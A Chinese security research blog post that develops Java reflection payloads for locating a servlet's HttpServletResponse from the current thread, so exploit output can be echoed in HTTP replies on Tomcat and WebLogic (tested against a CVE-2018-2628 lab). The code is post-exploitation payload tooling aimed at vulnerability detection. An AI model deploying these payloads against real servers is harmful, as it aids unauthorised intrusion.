一種基于規(guī)則的 JavaWeb 回顯方案
背景
JavaWeb 回顯技術(shù)是做漏洞檢測(cè)和利用繞不過(guò)去的。由于反連檢測(cè)會(huì)受網(wǎng)絡(luò)影響,對(duì)于內(nèi)網(wǎng)或是網(wǎng)絡(luò)環(huán)境差的場(chǎng)景有漏報(bào)的風(fēng)險(xiǎn)。所以本文研究下 JavaWeb 的回顯。
回顯原理
只看 Java 層面上的回顯,一次 HTTP 的請(qǐng)求到響應(yīng)大概像下面這樣,這里我將 Servlet、Socket 抽象出來(lái),方便理解。
可以看見(jiàn) Java 對(duì)于 http 請(qǐng)求處理還是基于 Socket 的,Java 可以通過(guò) JNI 調(diào)用系統(tǒng) api 來(lái)讀寫(xiě) Socket。每個(gè) TCP 連接對(duì)應(yīng)一個(gè)文件描述符,也對(duì)應(yīng)著一個(gè) Socket 對(duì)象,我們可以通過(guò)遍歷文件描述符實(shí)現(xiàn)遍歷 Socket,通過(guò) Remote 端的 ip 和端口可以過(guò)濾出當(dāng)前 HTTP 請(qǐng)求的 Socket,就可以隨意寫(xiě)響應(yīng)包了。再往上一層看,如果想開(kāi)發(fā) Java EE 項(xiàng)目,那么要先實(shí)現(xiàn)一個(gè) Servlet,處理請(qǐng)求時(shí)要處理 HttpServletRequest、HttpServletResponse。那么如果能拿到 HttpServletResponse 就可以寫(xiě)響應(yīng)了。
對(duì)比兩種方法,如果使用 Socket 回顯,優(yōu)點(diǎn)在于很通用。但缺點(diǎn)是在惡意代碼執(zhí)行時(shí),請(qǐng)求信息已經(jīng)被讀取了,所以只能通過(guò) ip、port 區(qū)分遠(yuǎn)程目標(biāo),寫(xiě)入響應(yīng),所以如果網(wǎng)絡(luò)經(jīng)過(guò)轉(zhuǎn)發(fā),不能獲取到源 ip 就會(huì)有問(wèn)題。如果使用 Servlet 回顯,難點(diǎn)在于如何快速查找實(shí)現(xiàn)了 HttpServletRequest 的對(duì)象。本文主要針對(duì)這個(gè)問(wèn)題進(jìn)行分析。
對(duì)象查找
由于 Java 是面向?qū)ο缶幊?,且不存在閉包,所以對(duì)象只能像一棵樹(shù)一樣,不在這棵樹(shù)上的對(duì)象就會(huì)被GC,所以我們查找線(xiàn)程對(duì)象,遞歸找它的 field、class 靜態(tài)成員。
暴力查找
其實(shí)已經(jīng)有師傅實(shí)現(xiàn)了查找工具:https://github.com/c0ny1/java-object-searcher,但不適合直接做 payload。我這里寫(xiě)了一個(gè)簡(jiǎn)略版的暴力查找工具(這里用了樹(shù)儲(chǔ)存所有路徑,如果做為 payload,其實(shí)可以再精簡(jiǎn)下的)。
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class Searcher1 {
int maxDeep;
Pattern pattern;
public Searcher1(int n){
maxDeep = n;
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
}
public Node SearchResponse(Object o) {
Node root = new Node(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet<Object>(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, Node node, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 數(shù)組
try{
Object[] os = (Object[]) o;
for (int i = 0; i < (os).length; i++) {
Object o1 = os[i];
Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
node.Add(newNode);
}
}
}catch (Exception e){
throw e;
}
}else if (o instanceof Iterable){ // 可迭代對(duì)象
try{
int i = 0;
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
Node newNode = new Node(String.format("[%s[%d]]",node.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
node.Add(newNode);
}
i++;
}
}catch (Exception e){
}
}else{
Class clazz = o.getClass();
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
Node newNode = new Node("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
if (searchResponse(fieldObj,newNode,searched,deep)){
node.Add(newNode);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
}
if (node.Children.size() > 0){
return true;
}
return false;
}
}
對(duì)于通用回顯 payload,最簡(jiǎn)單的實(shí)現(xiàn)方法就是在 payload 中查找 Response 對(duì)象。缺點(diǎn)是而且對(duì)于小機(jī)器來(lái)說(shuō)可能是比較大的性能開(kāi)銷(xiāo),會(huì)有響應(yīng)慢,甚至丟失的問(wèn)題。但好處是很通用,所以也不是不可以接受。
模糊查找
暴力查找顧名思義,查找比較暴力,速度慢,但成功率高。那有沒(méi)有辦法通過(guò)一些特征,對(duì)查找過(guò)程進(jìn)行剪枝呢?例如:一般會(huì)在線(xiàn)程的 table 中,一般 HttpServletResponse 實(shí)現(xiàn)對(duì)象的類(lèi)型名或?qū)傩悦袝?huì)有 Response 相關(guān)字符串等等特征。根據(jù)上面暴力查找到的路徑提取特征,在查找過(guò)程中根據(jù)特征有指向性地查找,速度會(huì)快很多,特征越寬泛查找成功率越高,速度越慢,相反就成功率低,速度快。
下面是調(diào)試時(shí)的部分代碼:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.*;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.regex.Pattern;
public class Searcher {
Pattern pattern = null;
int maxDeep = 0;
HashMap<String,Integer> typesRecord = null;
public class SearchResult{
public Object o;
public List path;
public SearchResult(Object o,List p){
this.o = o;
path = p;
}
}
public Searcher(){
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
typesRecord = new HashMap<String,Integer>();
}
public SearchResult FindObjectByFeature(Object o, String features, int maxSingleFeatureDeep,int maxTotalDeep) throws IllegalAccessException {
String[] ds = features.split(",");
Pattern[] array = new Pattern[ds.length];
for (int i = 0; i < ds.length; i++) {
array[i] =Pattern.compile(ds[i]);
}
return findObjectByFeature(o,array,new ArrayList(),new HashSet<>(),maxSingleFeatureDeep,maxSingleFeatureDeep,0,maxTotalDeep);
}
/*** 可能存在的問(wèn)題:
* 1. 查找到某個(gè)類(lèi)符合路徑中某個(gè)節(jié)點(diǎn)的特征,但還沒(méi)檢查到這個(gè)節(jié)點(diǎn),被加到黑名單中,下次到了這個(gè)節(jié)點(diǎn)時(shí)可能會(huì)查不到這個(gè)類(lèi)
* 2. 沒(méi)有處理map
* 3. 沒(méi)有處理多個(gè)符合特征的對(duì)象的情況
* 4. 當(dāng)有多個(gè)請(qǐng)求同時(shí)存在時(shí)應(yīng)該找到用于檢測(cè)的請(qǐng)求
* 5. 不是最短路徑
***/
public SearchResult findObjectByFeature(Object o, Pattern[] features,List trace, HashSet<Object> searched,int n,int maxSingleFeatureDeep,int deep,int maxTotalDeep) throws IllegalAccessException {
if (o == null || n == 0 || deep > maxTotalDeep){
return new SearchResult(null,null);
}
List newTrace = new ArrayList(trace.size());
newTrace.addAll(trace);
newTrace.add(o);
// for (int i = 0; i < deep; i++) {
// System.out.print("\t");
// }
// System.out.println(o.getClass().getName());
// if (searched.contains(o)){
// return null;
// }
searched.add(o);
if (deep > maxDeep){
maxDeep = deep;
}
if (pattern.matcher(o.getClass().getName()).find()) {
return new SearchResult(null,null);
}
if (o.getClass().isArray()){
try{
for (Object o1 : (Object[]) o) {
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
if (o instanceof Iterable){
try{
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
SearchResult res = findObjectByFeature(o1, features,newTrace,searched, n,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}catch (Exception e){
}
}
List<Object> nextTargets = new ArrayList<>();
List<Object> uselessFields = new ArrayList<>();
Class clazz = o.getClass();
String cName = clazz.getName();
if (typesRecord.containsKey(cName)){
typesRecord.put(clazz.getName(),typesRecord.get(clazz.getName())+1);
}else{
typesRecord.put(clazz.getName(),1);
}
// 找出可疑目標(biāo)
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
if (fieldObj == null || pattern.matcher(fieldObj.getClass().getName()).find()) {
continue;
}
if (features.length != 0 && features[0].matcher(fieldObj.getClass().getName()).find()) {
nextTargets.add(fieldObj);
} else {
uselessFields.add(fieldObj);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
// 先搜索可疑目標(biāo)
if (nextTargets.size() != 0){
for (Object nextTarget :
nextTargets) {
SearchResult res = findObjectByFeature(nextTarget, Arrays.copyOfRange(features, 1, features.length),newTrace,searched, maxSingleFeatureDeep,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
// 搜索非直接目標(biāo)
if (uselessFields.size() != 0){
for (Object nextTarget :
uselessFields) {
if (nextTarget instanceof HttpServletResponse){
return new SearchResult(nextTarget,newTrace);
}
SearchResult res = findObjectByFeature(nextTarget, features,newTrace,searched, n-1,maxSingleFeatureDeep,deep+1,maxTotalDeep);
if (res.o!=null){
return res;
}
}
}
return new SearchResult(null,null);
}
public void DumpInfo(){
System.out.printf("最大遞歸深度: %d\n",maxDeep);
List<Map.Entry<String, Integer>> list = new ArrayList<>(typesRecord.entrySet());
AtomicInteger s = new AtomicInteger();
typesRecord.forEach((c,c1)->{
s.addAndGet(c1);
});
System.out.println("訪(fǎng)問(wèn)對(duì)象數(shù)量: "+s);
Collections.sort(list, (o1, o2) -> o2.getValue().compareTo(o1.getValue()));
if (list.size() > 0){
System.out.println("訪(fǎng)問(wèn)次數(shù)最多的類(lèi)是: "+list.get(0).getKey()+", 次數(shù)是: "+list.get(0).getValue());
}
for (Map.Entry<String, Integer> d:
list) {
System.out.printf("%s: %s\n",d.getKey(),d.getValue());
}
}
}
精確查找
一般在寫(xiě)回顯時(shí)師傅們都是通過(guò)調(diào)試或 Java-object-searcher 查找路徑,然后根據(jù)路徑寫(xiě)回顯 payload,實(shí)現(xiàn)針對(duì)某種框架、中間件的回顯。
但如果想支持多種框架、中間件,簡(jiǎn)單粗暴的辦法就是將這些 payload 揉到一起,但這樣就會(huì)導(dǎo)致 payload 過(guò)大。
所以,既然知道了路徑,那可以嘗試將路徑作為規(guī)則,控制查找過(guò)程,精確查找 Response 對(duì)象。
生成路徑圖
下面是部分代碼:
package com.example.springtest.utils;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.Base64;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.*;
import java.util.regex.Pattern;
public class searchShell {
String hash;
String name;
public Object Data;
List<searchShell> Children;
searchShell(String name,Object o){
this.name = name;
this.hash = String.valueOf(System.identityHashCode(o));
Data = o;
Children= new ArrayList();
}
void Add(searchShell o){
Children.add(o);
}
void toDot(PrintWriter out) {
out.printf(" \"%s\"", hash);
if (Data != null) {
out.printf(" [label=\"%s\"]", name);
}
out.println(";");
for (searchShell child : Children) {
child.toDot(out);
out.printf(" \"%s\" -> \"%s\";\n", hash, child.hash);
}
}
public String dump() {
ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
PrintWriter out = new PrintWriter(new OutputStreamWriter(byteStream));
out.println("digraph G {");
toDot(out);
out.println("}");
out.close();
return byteStream.toString();
}
private List<searchShell> getAllTerminalNodes(searchShell searchShell){
List<searchShell> res = new ArrayList();
if (searchShell.Children.size() == 0){
res.add(searchShell);
}else{
for (searchShell n :
searchShell.Children) {
for (searchShell r :getAllTerminalNodes(n)
) {
res.add(r);
}
}
}
return res;
}
public List<searchShell> GetAllTerminalNodes(){
Set set = new HashSet();
List<searchShell> res = new ArrayList<searchShell>();
for (searchShell n :
getAllTerminalNodes(this)) {
int hash = System.identityHashCode(n.Data);
if (!set.contains(hash)){
res.add(n);
set.add(hash);
}
}
return res;
}
int maxDeep;
Pattern pattern;
public searchShell(){
System.out.println("new searchShell");
maxDeep = 20;
pattern = Pattern.compile("(java\\.lang\\.(String|Integer|Boolean|Float|Double|Long|Class|ThreadGroup))|(jdk\\..*)|(.*Log.*)");
try{
searchShell root = this.SearchResponse(Thread.currentThread());
List<searchShell> res = root.GetAllTerminalNodes();
int i = 0;
for (searchShell r :
res) {
String tag = String.format("tag%d",i);
Field req = r.Data.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(r.Data);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)r.Data).addHeader(tag,Base64.getEncoder().encodeToString(root.dump().getBytes()));
}
}
i++;
}
}catch (Exception e){
}
}
public searchShell SearchResponse(Object o) {
searchShell root = new searchShell(String.format("(%s)%s",o.getClass().getName(),"currentThread"),o);
if (searchResponse(o,root,new HashSet<Object>(),0)){
return root;
}else {
return null;
}
}
boolean searchResponse(Object o, searchShell searchShell, Set searched, int deep) {
if (o instanceof HttpServletResponse){
return true;
}
if (o == null){
return false;
}
deep++;
if (deep > maxDeep){
return false;
}
if (searched.contains(o)){
return false;
}
if (pattern.matcher(o.getClass().getName()).find()){
return false;
}
searched.add(o);
if (o.getClass().isArray()){ // 數(shù)組
try{
Object[] os = (Object[]) o;
for (int i = 0; i < (os).length; i++) {
Object o1 = os[i];
searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
searchShell.Add(newNode);
}
}
}catch (Exception e){
throw e;
}
}else if (o instanceof Iterable){ // 可迭代對(duì)象
try{
int i = 0;
Iterator<?> iterator = ((Iterable<?>) o).iterator();
while (iterator.hasNext()) {
Object o1 = iterator.next();
searchShell newNode = new searchShell(String.format("[%s[%d]]",searchShell.name,i),o1);
if (searchResponse(o1,newNode,searched,deep)){
searchShell.Add(newNode);
}
i++;
}
}catch (Exception e){
}
}else{
Class clazz = o.getClass();
do {
Field[] fields = clazz.getDeclaredFields();
for (Field field :
fields) {
try {
field.setAccessible(true);
Object fieldObj = field.get(o);
searchShell newNode = new searchShell("[field]"+String.format("(%s)",field.getDeclaringClass().getName())+field.getName(),fieldObj);
if (searchResponse(fieldObj,newNode,searched,deep)){
searchShell.Add(newNode);
}
} catch (Exception ignored) {
}
}
clazz = clazz.getSuperclass();
} while (clazz != null && clazz != Object.class);
}
if (searchShell.Children.size() > 0){
return true;
}
return false;
}
}
這個(gè) payload 是一個(gè)自動(dòng)查找 Response 的,查找結(jié)果是一棵樹(shù),如果查找成功會(huì)根據(jù)這棵樹(shù)生成一個(gè) dot 腳本,并在 header 回顯,如圖:
在本機(jī)中將腳本生成圖片,一共有4條路徑,2個(gè) Response 對(duì)象,但是否條條大路通回顯還需要測(cè)一下。
測(cè)試回顯
測(cè)試下這兩個(gè) Response 對(duì)象。
兩個(gè)都可以成功在 Header 回顯。
篩選請(qǐng)求
找到 Response 了,那怎么判斷當(dāng)前 Response 是對(duì)應(yīng)著我們發(fā)出的請(qǐng)求呢?(如果不對(duì)應(yīng)上可能會(huì)回顯在別人的請(qǐng)求中)本來(lái)把希望寄托在 HttpServletResponse 接口,但看了下沒(méi)有定義任何獲取 Request 相關(guān)的函數(shù)(這難道不應(yīng)該把上下文存一下嗎?)。
當(dāng)前測(cè)試的代碼是在 tomcat 環(huán)境下,HttpServletResponse 的實(shí)現(xiàn)類(lèi)是 org.apache.catalina.connector.Response,其類(lèi)定義中有 request 屬性,我又看了下 weblogic 的實(shí)現(xiàn)類(lèi)是 weblogic.servlet.internal.ServletResponseImpl,也定義了 request 屬性,而且剛好都是 HttpServletRequest 的實(shí)現(xiàn)。所以可以猜測(cè),雖然 HttpServletResponse 未定義獲取請(qǐng)求對(duì)象的接口,但是開(kāi)發(fā)者們都很自覺(jué)的在實(shí)現(xiàn)類(lèi)里定義了。
既然有 Response 對(duì)象,且存在 request 屬性(至少 tomcat 和 weblogic 存在,如果有沒(méi)定義 request 的,先噴一下他們開(kāi)發(fā),再改 payload 吧),那么我們就可以篩選出帶有特定標(biāo)簽的請(qǐng)求做回顯了。
如圖:
簡(jiǎn)化查找過(guò)程
根據(jù)上面暴力查找得到的路徑圖,我嘗試將最短路徑作為規(guī)則,并讓它根據(jù)規(guī)則進(jìn)行查找,對(duì)于上面的環(huán)境,我選擇這條路徑做為規(guī)則:
weblogic 環(huán)境:vulhub/weblogic/CVE-2018-2628,通過(guò)加載暴力查找 .class,得到路徑圖如下,只有一個(gè)對(duì)象。
下面根據(jù)路徑規(guī)則,自動(dòng)查找 Response,這里暫時(shí)只加了 Tomcat 和 Weblogic 的規(guī)則,后續(xù)可以通過(guò)加入更多的規(guī)則。
代碼如下:
package com.example.springtest;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
public class multiEcho {
public static Object getField(Object o,String feature) {
int n = 0;
for (Class<?> clazz = o.getClass(); clazz != null; clazz = clazz.getSuperclass(),++n) {
try {
Field field = clazz.getDeclaredField(feature);
field.setAccessible(true);
return field.get(o);
} catch (Exception e) {
if (n > 2){
return null;
}
}
}
return null;
}
public static Object getTargetByRouteFeatures(Object o,String[] features) throws Exception {
for (String feature:
features) {
String[] split = feature.split("\\|");
o = getField(o,split[0]);
if (o==null)
return null;
if (o.getClass().isArray() && split.length > 1){
for (int i = 0; i < Array.getLength(o); i++) {
Object o1 = Array.get(o,i);
if (o1!=null)
o1 = getTargetByRouteFeatures(o1,split[1].split("_"));
if (o1!=null){
o = o1;
break;
}
}
}
}
if (o instanceof HttpServletResponse){
return o;
}
return null;
}
public multiEcho() throws Exception{
String[] rules = {"workEntry,response","threadLocals,table|value_response,response"};
for (int i = 0; i < rules.length; i++) {
try{
HttpServletResponse rsp = (HttpServletResponse) getTargetByRouteFeatures(Thread.currentThread(),rules[i].split(","));
Field req = rsp.getClass().getDeclaredField("request");
req.setAccessible(true);
Object o = req.get(rsp);
if (o instanceof HttpServletRequest){
if (((HttpServletRequest)o).getHeader("tag").equals("1")){
((HttpServletResponse)rsp).addHeader("tag","haha");
}
}
}catch (Exception e){
e.printStackTrace();
}
}
}
}
總結(jié)
本文提出了幾種解決方案,包括暴力查找、模糊查找、精確查找(基于規(guī)則查找),各有優(yōu)缺點(diǎn)?;谝?guī)則的查找優(yōu)點(diǎn)在于每次添加一種新的框架、中間件支持只要加一個(gè)規(guī)則,有效的減少了 payload 體積。而規(guī)則可以通過(guò) payload 生成路徑圖,選取最短路徑來(lái)編寫(xiě)。歡迎師傅們有更好的想法或建議可以一起交流。